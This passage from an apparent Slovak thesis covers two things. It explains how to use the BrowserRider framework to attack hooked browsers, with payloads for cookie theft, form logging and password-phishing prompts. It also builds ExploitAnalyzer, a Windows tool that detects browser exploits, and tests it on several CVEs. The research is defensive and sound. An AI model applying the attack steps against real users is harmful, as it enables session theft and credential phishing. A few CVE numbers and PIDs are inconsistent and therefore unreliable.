docielime tak,  že na ľavej  strane BrowserRideru klikneme na jedného zombie.  Mali  by sme 




Pri väčšine payloadov sa zobrazí okno, v ktorom špecifikujeme našu požiadavku(znenie správy 
pri alert_box alebo JavaScriptový kód pri exec_javascript). 
Druhý  spôsob sa  využíva  na  napadnutie  všetkých  zombies,  ktorí  sú  práve  online. 
Podmienkou pre tento spôsob je, aby útok na väčší počet zombies podporoval aj payload. Potom 
už len stačí kliknúť na odkaz configure, špecifikovať payload a kliknúť na send (viz. obrázok 
3.4). 
Obrázok 3.4: Okno v ktorom môžeme poslať javascriptový kód všetkým online zombies.
Tretím spôsobom je možnosť auto load. Slúži na automatické  načítanie payloadu, ktorý sa vy-
koná na napadnutom prehliadači ihneď po návšteve kompromitovanej stránky. Payloady sa dajú 
vhodne kombinovať a súčasne môžu byť vykonané aj všetky naraz. Táto problematika je rozo-
braná ďalej v tejto kapitole.
3.3.3 Práca so zoznamom zombies
Po kliknutí na konkrétneho zombie sa zobrazia užitočné informácie o napadnutom počítači (viz. 
obrázok  3.3).  Tieto  informácie  obsahujú  IP  adresu  počítača,  URL z  ktorej  bol  prehliadač 
napadnutý,  verziu  operačného systému a  prehliadača,  informácie  o  jazyku,  verziu  protokolu 
HTTP a typ požiadavky(GET, POST).  Okrem týchto informácií toto okno obsahuje možnosť 
zvoliť, ktoré payloady sa majú pre tohto zombie vykonať a informácie získané z jednotlivých 
útokov.  
3.3.4 Práca so zoznamom payloads
Zoznam payloads tvorí tabuľka, v ktorej sú zobrazené jednotlivé nastavenia payloads. V stĺpci s 
názvom name sa nachádza názov payloadu. V druhom stĺpci sa nachádza vlastnosť auto load, 
slúži  na automatické načítanie payloadu,  keď obeť navštívi  napadnutú stránku.   Ako tretia v 
poradí je vlastnosť action, ktorá môže nadobúdať tri hodnoty: 
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Install slúži na vloženie payloadu do systému. Toto je nutné spraviť, aby sme mohli pay- 
loady v BrowserRidery používať.
Remove zabezpečuje odobratie payloadu zo systému
Configure pomocou tohto odkazu sa obvykle vykonávajú útoky na všetkých zombies, ktorí 
sú online
Na konci tabuľky je uvedená vlastnosť description, ktorá stručne popisuje daný payload.
Popis základných payloads
Append_iframe Pridá neviditeľný iframe do štruktúry DOM napadnutej stránky. 
Auto_refresh Vytvorí stále spojenie medzi BrowserRiderom a napadnutým prehliadačom. 
Prehliadač stále čaká na nové požiadavky od BrowserRideru. Je to vhodný 
spôsob napádania počítača v reálnom čase.
Box_alert Na napadnutom prehliadači  zobrazí  JavaScriptový alert  box,  obsahujúci 
útočníkom nastavený text.
Box_prompt Na napadnutom prehliadači zobrazí JavaScriptový prompt box, obsahujúci 
útočníkom  nastavenú otázku. Odpoveď na otázku si môže útočník pozrieť, 
po  kliknutí  na  konkrétneho   zombie  alebo  na  odkaz  configure.  Tento 
payload sa využíva na vylákanie informácií od obete napríklad heslo.
 
Cookie_stealing Ukradne  cookies  patriace  k  doméne,  na  ktorej  sa  nachádza  napadnutá 
stránka. K ukradnutým cookies sa útočník dostane po kliknutí na configure.
Exec_javascript Vykoná  JavaScriptový  kód,  ktorý  je  na  stránku  vložený  ako  argument 
JavaScriptovej  funkcie  eval().  Preto  je  dôležité  písať  všetky  príkazy  za 
sebou  a  nepoužívať  biele  znaky(medzera,  enter,  tabulátor).  Taktiež 
nepoužívať HTML značku  <SCRIPT> na úvod skriptu a  </SCRIPT> na 
jeho konci. 
Fieldlogger Získa všetky dáta, ktoré užívateľ odoslal cez formuláre.
Get_DOM Získa DOM štruktúru napadnutej stránky,ktorú si útočník môže prezrieť, po 
kliknutí na konkrétneho zombie alebo na odkaz configure.
Keep_alive Tento payload umožní udržať spojenie medzi BrowserRiderom a prehlia-
dačom aj po opustení  napadnutej stránky.
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3.4 Programovanie vlastných payloads
BrowserRider je navrhnutý a naprogramovaný tak, že umožňuje programovanie vlastných pay-
loads. Pomocou vlastných payloads môžeme vytvoriť úplne vlastný typ útoku, prípadne napísať 
exploit na konkrétnu chybu v prehliadači. Na programovanie vlastných payloads je nevyhnutná 
znalosť javascriptu, php a smarty [18].




Cieľom tejto kapitoly je špecifikovať požiadavky na aplikáciu, ktorá by dokázala zachytiť systé-
mové zmeny počas útoku na webový prehliadač.
V kapitole 2.3.1 sme rozdelili útoky na užívateľov internetu na dve skupiny. Útoky bez 
využitia exploitácie prehliadača a útoky s využitím exploitácie. Zachytiť útoky smerujúce na uží-
vateľa, ktoré nezneužívajú chybu prehliadača, je náročná úloha, pretože nemaju škodlivý účinok 
na systém, kde beží prehliadač. Samotná podstata týchto útokov spočíva v tom, že využívajú 
funkcie  internetu  a  HTTP protokolu  presne  tak,  ako  bol  navrhnutý.  Napríklad  payloads  s 
BrowserRideru, ktoré sa dostanú do prehliadača pomocou AJAXu. Na celom internete existuje 
mnoho príkladov webových aplikácií, ktoré používajú AJAX rovnakým spôsobom, preto je veľ-
mi náročné  nájsť účinný spôsob ako rozlíšiť, či ide o útok alebo o bežné  správanie webovej 
aplikácie9. Preto sa pri špecifikácií požiadaviek a návrhu aplikácie zameriame iba na útoky vyko-
návajúce škodlivú akciu na počítači obete a výslednú aplikáciu pomenujeme ExploitAnalyzer.
4.1 Špecifikácia požiadaviek – detekcia systémových zmien
Pri špecifikácií požiadaviek budeme vychádzať z analýzy exploitov v kapitole 2.3.2. Pri bližšom 
pohľade na oba exploity môžeme zbadať jeden spoločný prvok. Či už ide o DoS exploit alebo 
bufferoverflow,  obvyklým javom pre  oba  exploity  je  pád  prehliadača.  Prehliadač  ako  aj  iné 
programy bežiace v operačnej pamäti sú v operačnom systéme označované ako procesy. Pri páde 
prehliadača automaticky zaniká aj proces. Preto jedným z vedľajších cieľov našej aplikácie bude 
schopnosť zachytiť ukončenie procesu. 
Keď sa zamyslíme nad technikou heapspray využitou v bufferoverflow exploite, ktorá 
zapĺňa nezanedbateľné množstvo pamäte, bolo by vhodné, aby naša aplikácia dokázala  zachytiť 
nárast pamäte vyhradenej operačným systémom pre daný proces. 
Cieľom každého exploitu bufferoverflow je spustiť škodlivý kód na počítači obete. V prí-
klade z kapitoly 2.3.2 je to spustenie kalkulačky, ale možnosti útočníka sú skoro neobmedzené. 
So správnym shellcodom môže spustiť akýkoľvek program prítomný na počítači  obete alebo 
stiahnuť  a  spustiť  vlastný  program  napísaný  útočníkom.  Či  už  spustenie  kalkulačky,  alebo 
stiahnutie malwaru do počítača  spôsobí prístup procesu k disku počítača. Pri kalkulačke je to 
spustenie súboru calc.exe, pri stiahnutí malwaru je to priamy zápis malwaru na disk a jeho ná-
sledné spustenie, čím dochádza k čítaniu dát z disku. Preto ďalšou požiadavkou na našu apli-
káciu bude možnosť zachytiť všetky diskové operácie spojené s daným procesom. 
Pri  spúštaní  programu  pomocou  bufferoverflow  tiež  dochádza  k  vytvoreniu  nové 
procesu. Tento proces je označovaný ako synovský (pozn. proces, ktorý spustí synovský proces 
9 Moderné prehliadače ako je Internet Explorer 8.0, majú vstavanú ochranu proti XSS. Riešená je 
pomocou databáze spoločných znakov, ktoré dokážu odhaliť pomocou regulárnych výrazov [22].
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nazývame rodičovský ). Ak je proces prehliadača rodičom nejakého procesu, je to samo osebe 
veľmi podozrivé správanie.  Preto je nutné aby naša aplikácia dokázala odhaliť vzťah rodič - syn 
procesu a taktiež zobrazovala všetky procesy prítomné v operačnom systéme.
Výsledné požiadavky
1. Zaznamenanie novovzniknutého procesu.
2. Zaznamenanie PID rodičovského procesu.
3. Zaznamenanie operácií disku v podobe IRP požiadavky procesu.
4. Zaznamenanie veľkého nárastu pamäte procesu.
5. Zaznamenanie ukončenia procesu.
4.2 Špecifikácia požiadaviek – užívateľské rozhranie
Zobrazovanie dát v aplikácii by malo byť vhodne rozdelené na dve logické časti. Prvá časť by 
slúžila na zobrazovanie procesov a druhá na zobrazovanie operácií disku. Užívateľ by mal mať 
možnosť sa medzi časťami rýchlo presúvať. Obe dátové časti by mali obsahovať čo najväčšie 
množstvo dát,  ktoré sa menia v reálnom čase.  Dáta,  ktoré nebudú dostupné v hlavnom okne 
aplikácie, sa budú dať získať po kliknutí v kontextovom menu na vlastnosti. Lišta s nástrojmi na 
ovládanie jednotlivých častí by mala byť tiež unikátna, pretože nad jednotlivými časťami sa budú 
vykonávať rôzne operácie. 
Aplikácia  by  mala  tiež  obsahovať  možnosť  filtrovať  výstup  jednotlivých  diskových 
operácií, na základe jednotlivých procesov, pretože väčšina procesov bude irelevantných vzhľa-
dom na prebiehajúci útok. Ďalšou  možnosťou užívateľa by mala byť schopnosť zastaviť, spustiť 
a vyčistiť výstup aplikácie. Aplikácia by mala tiež poskytovať možnosť uložiť výstup do texto-
vého súboru alebo zachytiť hlavné okno programu a uložiť ho ako obrázok.
4.3 Špecifikácia požiadaviek – architektúra a platforma
Aplikácia by mala fungovať na systéme Windows XP. Vývoj aplikácie pre platformu Linux nie je 
nutná, pretože väčšina útokov smeruje na užívateľov operačného systému Windows (pozn. pre 
útočníkov nemá význam tvoriť exploity, ktorými zasiahnu malé percento užívateľov). Aplikácia 




V tejto kapitole je popísaná samotná implementácia aplikácie, vytvorená na základe špecifikácií 
požiadaviek z kapitoly 4. V úvode sú uvedené nástroje potrebné pre preklad a vývoj aplikácie. 
Následne  je  predstavená  logika  aplikácie,  ktorá  je  rozdelená  na  dve  časti.  V ďalšej  časti  je 
rozobraný ovládač , ktorý slúži na zasielanie dát z jadra operačného systému do našej aplikácie. 
Záver  kapitoly  sa  venuje  hlavnej  aplikácii  fungujúcej  ako  klasický  program v  užívateľskom 
režime.
5.1 Nástroje využité pri implementácii
Časť aplikácie bežiaca v užívateľskom režime je implementovaná v jazyku cli/c++ v prostredí 
Visual Studio 2008 s inštalovaným NET Framework 3.5. Pre implementáciu v jazyku cli/c++ 
som sa rozhodol na základe toho, že funkcie pre komunikáciu s jadrom operačného systému sú 
napísané vo WIN API (pozn. WIN API je napísané v jazyku C a tým pádom kompatibilné s 
C++). Na komunikáciu medzi užívateľským režimom a režimom jadra využíva  externú knižnicu 
fltlib.lib,  ktorú nájdeme vo WINDDK10.  Na  preklad ovládača fungujúceho v režime jadra  je 
použitý WINDDK verzie 7600.16385.1, ktorý je dostupný na [19].
5.2 Logika aplikácie
Aplikácia je rozdelená na dva samostatné celky.  Prvou je ovládač,  ktorý zbiera informácie o 
jednotlivých diskových operáciách pracujúci v režime jadra. A druhou je grafické užívateľské 
rozhranie,  ktoré slúži  na zobrazovanie dát.  Pretože žiadna aplikácia napísaná pre užívateľský 
režim nemá prístup do režimu jadra, je nutné komunikáciu riešiť pomocou portu. Tento port je 
prístupný v režime jadra a tiež v užívateľskom režime. 
5.3 Ovládač ako prostriedok na zaznamenanie operácii disku 
Keďže v užívateľskom móde neexistuje žiaden spôsob ako zaznamenať všetky operácie disku, 
rozhodol som sa použiť ovládač. Poznáme viacero typov ovládačov, ktoré bežia v jadre opera-
čného systému. Na účely zachytenia operácií disku nad súbormi je ideálnou voľbou file system 
filter driver.
10 WINDDK je skratkou pre vývojové prostredie Windows Driver Kit slúži na vytváranie rôznych druhov 
ovládačov
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File system filter driver   
File system filter driver nazývame ovládač, ktorý funguje ako abstraktná vrstva nad ovládačom 
systému súborov.  Tento typ ovládaču využívajú antivírové aplikácie,  programy na šifrovanie 
súborov a tiež rôzne aplikácie na zálohovanie dát [20].  
Vývoj  ovládača  je  veľmi  náročný proces,  preto  som sa  rozhodol  vo  svojej  aplikácií 
použiť už existujúci ovládač Minispy od firmy Microsoft. Tento ovládač sa nachádza priamo vo 
WINDDK v priečinku src/filesys/miniFilter/minispy.  
5.3.1 Minispy
Minispy je príkladom pasívneho ovládača. To znamená, že nevykonáva žiadne operácie nad sú-
bormi. Jeho hlavnou úlohou je odchytiť všetky IRP požiadavky smerujúce na systém súborov, 
ktoré sú zaslané procesmi bežiacimi v operačnom systéme. Z každého spracovaného IRP získa 
Minispy nasledujúce údaje:
1. Major IRP code - kód hlavnej operácie prevedenej nad súborom 
2. Minor IRP code - kód vedľajšej operácie prevedenej nad súborom 
3. Process ID - číslo identifikujúce proces, ktorý vyvolal IRP
4. Thread ID - číslo identifikujúce vlákno, ktoré vyvolalo IRP
5. File object – číslo identifikujúce súbor v jadre
6. Device object – číslo identifikujúce zariadenie v jadre
7. Originating time - čas vyvolania IRP požiadavky
8. Completion time - čas dokončenia IRP požiadavky
 
Minispy  tieto  údaje  ukladá  do  štruktúry  RECORD_DATA,  ktorá  je  súčasťou  štruktúry 
LOG_RECORD.  To  znamená,  že  každú  operáciu  nad  súborom  popisuje  jeden  záznam 
LOG_RECORD. Štruktúra LOG_RECORD ďalej obsahuje premennú určujúcu veľkosť jedného 
záznamu  a  meno  súboru,  nad  ktorým  sa  prevádza  operácia.  Postupne  ako  prichádzajú  IRP 
požiadavky,  ovládač  ukladá  jednotlivé  záznamy  LOG_RECORD  za  sebou  do  štruktúry 
RECORD_LIST. Po spracovaní IRP požiadavky, musí Minispy poskytnúť jednotlivé IRP ďalším 
ovládačom (pozn. ak by to neurobil, prestal by fungovať OS, pretože žiadne IRP by sa nedostalo 
až k ovládaču systému súborov).
Výmenu dát medzi aplikáciou v užívateľskom režime a ovládačom zabezpečuje funkcia 
FltCreateCommunicationPort().  FltCreateCommunicationPort()  prijíma  ako  argumenty  tri 
callback funkcie. Prvá funkcia SpyConnect() je volaná pri načítavaní ovládača aplikáciou a druhá 
SpyDisconnect() pri jeho uzavretí. Posledná SpyMessage() sa volá pri bežnej komunikácii medzi 
užívateľským režimom a režimom jadra. SpyMessage() prijme vo svojich argumentoch premenné 
command-celočíselná hodnota určujúca požiadavku, OutputBuffer-pointer na buffer alokovaný 
aplikáciou v užívateľskom režime a BufferLength-celočíselná hodnota určujúca veľkosť bufferu. 
Funkcia SpyMessage() obsahuje jeden switch, ktorý spracúva jednotlivé požiadavky od aplikácie 
bežiacej v užívateľskom režime. Pokiaľ ide o príkaz na zaslanie dát  ovládač zavolá funkciu 
GetSpyLog(),  ktorá  nakopíruje  čo  najväčšie  množstvo  LOG_RECORD  záznamov  do 
OutputBufferu.  Počet  zaslaných  záznamov  je  závislý  od  premennej  BufferLength.  Záznamy, 
ktoré sa do buferu nezmestia, zostávajú stále v premennej RECORD_LIST a zašlú sa pri ďalšej 
požiadavke. 
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5.4 Aplikácia pracujúca v užívateľskom režime
Aplikácia je implementovaná pomocou troch objektov, z ktorých každý reprezentuje jedno okno 
aplikácie. Metódy hlavného okna zabezpečuje objekt  mainForm,  okno s vlastnostami procesu 
objekt procProperties a filter jednotlivých I/O operácii rieši objekt filterForm. Ihneď po spustení 
aplikácie je vytvorené spojenie s ovládačom a tiež sú spustené časovače zabezpečujúce obnovu 
dát. 
5.4.1 Vytvorenie spojenia s ovládačom
Na réžiu spojenú s vytvorením spojenia je vhodne využitá funkcia  MainForm_Load(), ktorá sa 
volá iba raz ihneď po spustení aplikácie. Na spustenie ovládača je použitá funkcia FilterLoad(). 
Táto funkcia prijíma iba jeden argument a tým je názov ovládača.  Keď už je inicializovaný 
ovládač, volá sa funkcia FilterConnectComunicationPort(). Táto funkcia slúži na pripojenie sa k 
portu, ktorý identifikuje spojenia medzi aplikáciou a ovládačom. Po úspešnom pripojení  k portu 
je potrebné získať jednotlivé zariadenia ako je disk alebo dvd-rom, ktoré budeme sledovať. Prvé 
zariadenie získame volaním funkcie FilterFindVolumeFirst(). Názov zariadenia sa uloží do pre-
mennej  volumeBuffer a do premennej  volumeIterator sa uloží pozícia zariadenia, na ktorom sa 
nachádzame. Ďalšie zariadenia získame použitím funkcie FilterVolumeFindNext(). Do funkcie je 
predaná hodnota volumeIterator, ktorá sa zväčšuje po získaní nového zariadenia. Pomocou cyklu 
while funkciu periodicky voláme, až pokiaľ nevráti hodnotu ERROR_NO_MORE_ITEMS, indi-
kujúcu, že už nie sú dostupné žiadne ďalšie zariadenia. Ku každému získanému zariadeniu, ktoré 
chceme sledovať, je nutné pripojiť ovládač. Pripojenie ovládača k zariadeniu zabezpečuje fun-
kcia FilterAttach(). Ako argumenty prijíma názov zariadenia a názov ovládača. Mená zariadení, 
ktoré  získame,  musíme  ešte  skonvertovať  do  formy,  ako  sú  zobrazené  v  operačnom  systé-
me(napr. C: alebo D:). Tento proces zabezpečuje funkcia FilterGetDosName(). Na základe para-
metra volumeName získaného z funkcie FilterFindVolumeFirst() alebo FilterVolumeFind-Next()  
vráti v premennej driveLetter názov zariadenia. Originálne aj skonvertované mená sú uložené do 
dvojrozmerného poľa DosVolumes, ktoré neskôr využijeme pri zobrazovaní I/O operácií.
5.4.2 Získanie a zobrazenie procesov
O zobrazovanie  procesov sa  stará  procView,  ktorý je  inštanciou objektu  ListView.  Periodické 
pridávanie, odoberanie a aktualizovanie procesov riadi  procTimer, ktorý je inštanciou objektu 
Timer. A uloženie ikon jednotlivých procesov zabezpečuje imageList, ktorý je inštanciou objektu 
s rovnomenným názvom  ImageList. Objekt  procTimer každú sekundu generuje udalosť  tick(), 
ktorá  volá  funkciu  RefreshProcesess().  Vývojový diagram funkcie  RefreshProcesess() je  zná-
zornený na obrázku 5.1. 
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Obrázok 5.1: Vývojový diagram funkcie RefreshProcesess().
Na začiatku  RefreshProcesess()  sú získané procesy pomocou statickej  metódy  GetProcesess 
patriacej  objektu  Process,  ktorý  je  súčasťou  menného  priestoru  System::Diagnostics.  
GetProcesess() vráti pole objektov Process, ktoré sú uložené do premennej myProcess. 
Následne sa pomocou cyklu for prezrú už zobrazené procesy v procView.  Každý zobra-
zený proces z  procView porovnaný s novými aktuálnymi procesmi v  myProcess. Ak sa nejaký 
proces z  procView  nenachádza v  myProcess,  je  tento proces vylúčený z  procView.  Taktiež je 
vymazaná ikona procesu z ImageList.   
Po odobratí všetkých neaktuálnych procesov opäť prechádzame pole myProcess a zisťu-
jeme, či sa aktuálny proces z myProcess nachádza v procView. Ak sa proces v procView nenachá-
dza, ide o novovzniknutý proces. Novovzniknutému procesu vytvoríme listViewItem, ktorý pred-
stavuje jeden záznam v procView. Do listViewItem vložíme dynamické aj statické vlastnosti pro-
cesu, ktoré získame z myProcess. Po získaní všetkých vlastností pripojíme listViewItem k proc-
View. Novovzniknutý proces musíme ešte vložiť do poľa filterPID, kde sú uložené PID procesov, 
nad ktorými sledujeme jednotlivé I/O (viz. kapitola 5.4.3). 
Ak pri prechádzaní poľa myProcess narazíme na už zobrazený proces, aktualizujeme iba 
dynamické vlastnosti procesu, pretože statické sú nemenné a sú s procesom od jeho vzniku až do 
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jeho konca.
V tabuľke  5.1 sú  popísané, ktoré dynamické a statické vlastnosti sledujeme a ktorými 
metódami alebo vlastnosťami objektu ich môžeme získať.
Názov 
vlastnosti Typ Metóda alebo vlastnosť objektu
Ikona procesu Statická System::Drawing::Icon::ExtractAssociatedIcon(myProcess[i]->MainModule->FileName)
PID Statická myProcess[i]->Id
Názov procesu Statická myProcess[i]->ProcessName




Rodič procesu Statická PerformanceCounter(L"Process", L"Creating Process Id",  myProcess[i]->ProcessName)
Celková pamäť Dynamická myProcess[i]->WorkingSet64/1024
Tabuľka 5.1: Prehľad dynamických a statických vlastností procesu.
V  aplikácii  je  implementované  aj  kontextové  menu,  ktoré  obsahuje  rozšírenú  fun-
kcionalitu.  Prvou  položkou  v  kontextovom menu je  Kill,  ktorý  slúži  na  ukončenie  procesu. 
Uzatvorenie procesu je docielené metódou  objektu Process kill().  Druhou položkou je Priority, 
pomocou ktorej sa dá nastaviť priorita procesu. Na zmenu priority procesu je použitá vlastnosť 
objektu  Process prirority.  Ďalšie dve  položky  slúžia  na  pridanie  alebo  odobranie  zvoleného 
procesu z / do filtru. Filter predstavuje pole  filterPID,  ktoré obsahuje jednotlivé PID procesov. 
Poslednou položkou je Properties. Properties slúži na zobrazenie okna s rozšírenými vlastnos-
ťami procesu.  
5.4.3 Okno vlastností procesu
Okno s  vlastnosťami  procesu  riadi  trieda  processProperties, ktorá  je  v  konštruktore  iniciali-
zovaná aktuálne zvoleným procesom z procView. Z hlavného okna je vyvolaná pomocou metódy 
ShowDialog(). 
Okno je rozdelené na štyri časti, ku ktorým sa pristupuje pomocou záložiek. Toto delenie 
zabezpečuje komponenta TabControl. Každá záložka obsahuje inú skupinu vlastností procesu. 
Na prvej záložke sa nachádzajú vlastnosti hlavného modulu procesu, ktoré sú popísané v tabuľke 
5.2.
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Popis vlastnosti Vlastnosť objektu
Popis modulu myProcess->MainModule->FileVersionInfo->FileDescription
Názov spoločnosti myProcess->MainModule->FileVersionInfo->CompanyName
Cesta k modulu myProcess->MainModule->FileVersionInfo->FileName
Verzia modulu myProcess->MainModule->FileVersionInfo->FileVersion
Vstupná adresa modulu myProcess->MainModule->EntryPointAddress
  
 Tabuľka 5.2: Prehľad vlastností hlavného modulu 
Na druhej záložke sú vypísané všetky moduly, ktoré sú v pamäti načítané spolu s proce-
som. Moduly sú uložené v premennej  processModuleCollection a zobrazené pomocou kompo-
nenty  ListBox.  Jednotlivé  vlákna  procesu  sa  nachádzajú  na  tretej  záložke. Každé  vlákno  je 
uložené do premennej processThreadCollection. Zobrazovanie vlákien je implementované pomo-
cou komponenty ListView. Vlastnosti, ktoré sledujeme pri jednotlivých vláknách popisuje tabuľ-
ka 5.3.
Popis vlastnosti Vlastnosť objektu
Vstupná adresa vlákna myThreads[i]->StartAddress
Čas spustenia vlákna myThreads[i]->StartTime
Základná priorita vlákna myThreads[i]->BasePriority
Aktuálna priorita vlákna myThreads[i]->CurrentPriority
Celkový čas procesoru myThreads[i]->TotalProcessorTime
Užívateľov čas procesoru myThreads[i]->UserProcessorTime
Tabuľka 5.3: Prehľad vlastností zobrazených vlákien
Na  poslednej  položke  sú  zobrazené  rôzne  informácie  o  pamäti  procesu.  Položka  je 
rozdelená na dve časti, pomocou komponent  GroupBox.  Prvá komponenta  GroupBox  popisuje 
fyzickú  pamäť  alokovanú  procesom  a  druhá  pamäť  virtuálnu.  V  tabuľke  5.4 sú  uvedené 
konkrétne vlastnosti, ktoré o pamäti alokovanej procesom sledujeme.
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Popis vlastnosti Vlastnosť objektu
Veľkosť fyzickej pamäte myProcess->WorkingSet64
Maximálna veľkosť fyzickej pamäte myProcess->PeakWorkingSet64
Veľkosť súkromnej pamäte myProcess->PrivateMemorySize64
Veľkosť nestránkovanej systémovej pamäte myProcess->NonPagedSystemMemorySize64
Veľkosť virtuálnej pamäte myProcess->VirtualMemorySize64
Maximálna velkosť virtuálnej pamäte myProcess->PeakVirtualMemorySize64
Veľkosť stránkovanej pamäte myProcess->PagedMemorySize64
Maximálna veľkosť stránkovanej pamäte myProcess->PeakPagedMemorySize64
Veľkosť stránkovanej systémovej pamäte myProcess->PagedSystemMemorySize64
Tabuľka 5.4: Prehľad vlastností fyzickej a virtuálnej pamäte alokovanej procesom
5.4.4 Získanie a zobrazenie I/O operácií
Periodické získavanie a zobrazovanie jednotlivých I/O operácií zabezpečuje komponenta timer. 
Timer každú sekundu generuje udalosť tick(), ktorá volá funkciu getRecords(). 
Na začiatku  getRecords() sú  inicializované  konštanty  a  premenné,  nutné  na  získanie 
záznamu. Po inicializácii  premenných sa volá funkcia  FilterSendMessage s argumentmi  port, 
message,  buffer a  bytes_returned.  Argument  port určuje  port,  na  ktorom  počúva  ovládač. 
Message obsahuje číslo správy, ktorá určuje, aké dáta od ovládača požadujeme. Do argumentu 
buffer  funkcia FilterSendMessage uloží dáta získané z ovládača. A do argumentu vloží veľkosť 
zaslaných dát. Dáta zaslané v premennej buffer sú koncipované ako zoznam za sebou idúcich 
štruktúr LOG_RECORD (viz. kapitola 5.3.1). 
Následne  funkcia  vstupuje  do  cyklu  while,  ktorý  po  jednom spracováva  záznamy v 
bufferi.  Cyklus  sa  ukončí,  pokiaľ  sa  veľkosť  spracovaných  záznamov  rovná  premennej 
bytes_returned.  Z každého záznamu je najskôr zistený PID procesu, ktorý je porovnaný s PID 
procesu v poli filerPID.  Ak sa oboje PID rovnajú, je vytvorený ListViewItem, ktorý reprezentuje 
jeden záznam na komponente  ListView. Do ListViewItem sú následne vložené PID, TID, názov 





V tejto kapitole podrobíme ExploitAnalyzer trom testom. Na prvé dva testy využijeme exploity z 
kapitoly 2 a simulačné prostredie vytvorené v kapitole 3. Na tretí test použijeme exploit s ozna-
čením CVE-2010-0249 a  nástroj  na  penetračné  testovanie.  Pri  každom teste  bol  ako  server 
použitý Apache2 bežiaci na Ubuntu 9.10 (Karmic Koala) a napadnutý klient bol zakaždým Inter-
net Explorer verzie 6.0 (ďalej IE) bežiaci na Windows XP Professional s nainštalovaným service 
packom 2. 
6.1 Test č.1: CVE-2009-0072 DoS exploit
V tomto teste je využitý exploit zneužívajúci chybu CVE-2009-0072 z kapitoly 2.3.1. Tento ex-
ploit spôsobuje pád prehliadača (DoS exploit). Podrobný popis exploitu je dostupný na [10].
6.1.1 Postup pri exploitácii
Otvoríme BrowserRider, ako je uvedené v kapitole 3.3. Potom otvoríme IE a spustíme stránku, 
ktorá obsahuje javascriptový kód na vytvorenie komunikácie s BrowserRiderom. Po tom, ako sa 
nám v BrowserRideri  objaví  nový zombie,  zvolíme exec_javascript.  Vložíme kód z kapitoly 
2.3.1, v ktorom vynecháme všetky biele znaky, HTML značku script a vložíme znak \ pred každú 
úvodzovku.
6.1.2 Výstup aplikácie
Pri  testovaní  expolitu  CVE-2009-0072 nám okno  s  procesmi,  okrem  zmiznutia  procesu  IE, 
neukázalo žiadnu ďalšiu podozrivú činnosť. Veľkosť pamäte sa výrazným spôsobom nezmenila 
ani sa neobjavil novospustený proces.
Výstup I/O operácii zaznamenal o niečo lepší výsledok. V prvom riadku na obrázku 6.1 
môžeme vidieť, ako proces IE (2552)  otvára proces iedw.exe(2880). Systémový proces iedw.exe 
je program od firmy Microsoft,  ktorý sa spúšťa pri  spadnutí  prehliadača IE. To znamená, že 




6.2 Test č.2 CVE-2007-0024 bufferoverflow calc
V tomto teste je použitý exploit z kapitoly 2.3.1, ktorý po úspešnej exploitácii spustí na počítači 
obete kalkulačku. Exploit je podrobne rozobratý v [11] a zdrojový kód je dostupný na [13].
6.2.1 Postup pri exploitácii
Postupujeme rovnako ako v prechádzajúcom teste. Až pri voľbe payloadu namiesto exec_java-
script  zvolíme  append  iframe  a  ako  adresu  napíšeme  odkaz  na  html  stránku,  v  ktorej  je 
nakopírovaný bufferoverflow exploit z kapitoly 2.3.1.
6.2.2 Výstup aplikácie
Pri tomto exploite nám okno s procesmi ukázalo zaujímavé výsledky, ktoré môžeme vidieť na 
obrázku  6.2.  Prvým  zisteným  faktom  je  veľký  nárast  pamäte  v  procese  IE  pravdepodobne 
spôsobený exploitom,  ktorý  sa  snaží  pokryť  čo  najväčšie  množstvo  pamäte.  Pred  spustením 
exploitu  využíval  proces  IE  iba  14586  kb  pamäte.  Druhým  zistením  faktom  je  zachytenie 
novovzniknutého procesu kalkulačky, ktorý má ako rodiča uvedený proces IE.
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Obrázok 6.2: Zachytený proces kalkulačky s jeho rodičovským PID(1356).
V okne I/O operácií sme taktiež mohli sledovať réžiu spojenú s vytvorením procesu kalkulačky. 
Najskôr  proces  IE(1356)  začal  generovať  IRP  požiadavky  potrebné  k  vytvoreniu  procesu 
calc.exe. A následne aj samotný proces kalkulačky vytvoril IRP požiadavky potrebné k načítaniu 
všetkých modulov. V nasledujúcej tabuľke sú ukázané niektoré IRP zachytené ExploitAnalyze-
rom.
        
PID TID File name Major IRP code
1356 1376 C:\WINDOWS\system32\calc.exe IRP_MJ_NETWORK_QUERY_OPEN
1356 1376 C:\WINDOWS\system32\calc.exe IRP_MJ_CREATE
1356 1376 C:\WINDOWS\system32\calc.exe IRP_MJ_ACQUIRE_FOR_SECTION_SYNC
... …. …. ….
164 3300 C:\WINDOWS\system32\msvcrt.dll IRP_MJ_CREATE
164 3300 C:\WINDOWS\system32\msvcrt.dll IRP_MJ_ACQUIRE_FOR_SECTION_SYNC
164 330 C:\WINDOWS\system32\gdi32.dll IRP_MJ_CREATE
Tabuľka 6.1:  Prehľad niektorých IRP zachytených pri spúšťaní kalkulačky
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6.3 Test č. 3 CVE-2010-002 Aurora shell_reverse_tcp
V teste číslo 3 je využitý exploit, ktorý je súčasťou nástroja na penetračné testovanie. Tento ex-
ploit využíva chybu v IE CVE-2010-002, kde dochádza k zlému uvoľneniu objektu s pamäte po 
vykonaní  operácie free a tým umožňuje spustiť útočníkovi  vlastný kód.  V našom teste je za 
pomoci  nástroja  na  penetračné  testovanie  vytvorený  exploit,  ktorý  spustí  na  počítači  obete 
príkazový riadok umožňujúci prijímať a vykonávať príkazy od útočníka. 
6.3.1 Postup pri exploitácii
Je priložený na cd, pretože popisuje krok po kroku, ako získať kontrolu nad počítačom a 
porušiť tým zákon.
V závere exploitácie po získaní kontroly nad počítačom obete, je v príkazovom riadku 
vytvorený priečinok hacked, na demonštráciu sledovania IRP.
6.3.2 Výstup aplikácie
Výstup ExploitAnalyzeru pri  testovaní  exploitu  Aurora  ukázal  podobné výsledky ako v teste 
číslo 2. Na obrázku 6.3  je opäť zachytený proces IE(3652) s veľkým nárastom pamäte, tentokrát 
o viac ako 300 mb. Tiež môžeme vidieť proces cmd(3562) , ktorý má PID rodičovského procesu 
rovnaké, ako je PID procesu IE(784). 
Obrázok 6.3: Zachytený príkazový riadok(3652), ktorý bol spustený procesom IE(784).
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Pri pohľade na výstup I/O operácií môžeme taktiež badať podobné IRP generované pri vytváraní 
procesu. Najskôr sú to desiatky IRP požadovaných procesom IE na spustenie procesu príkazo-
vého  riadku a  následne  už  IRP patriace  samotnému príkazovému riadku.  Posledné  dve  IRP 
požiadavky zabezpečujú vytvorenie priečinka hacked v poslednom kroku v kapitole 6.3.1. Nie-
koľko IRP požiadaviek z výstupu aplikácie popisuje tabuľka 6.2.
PID TID File name Major IRP code
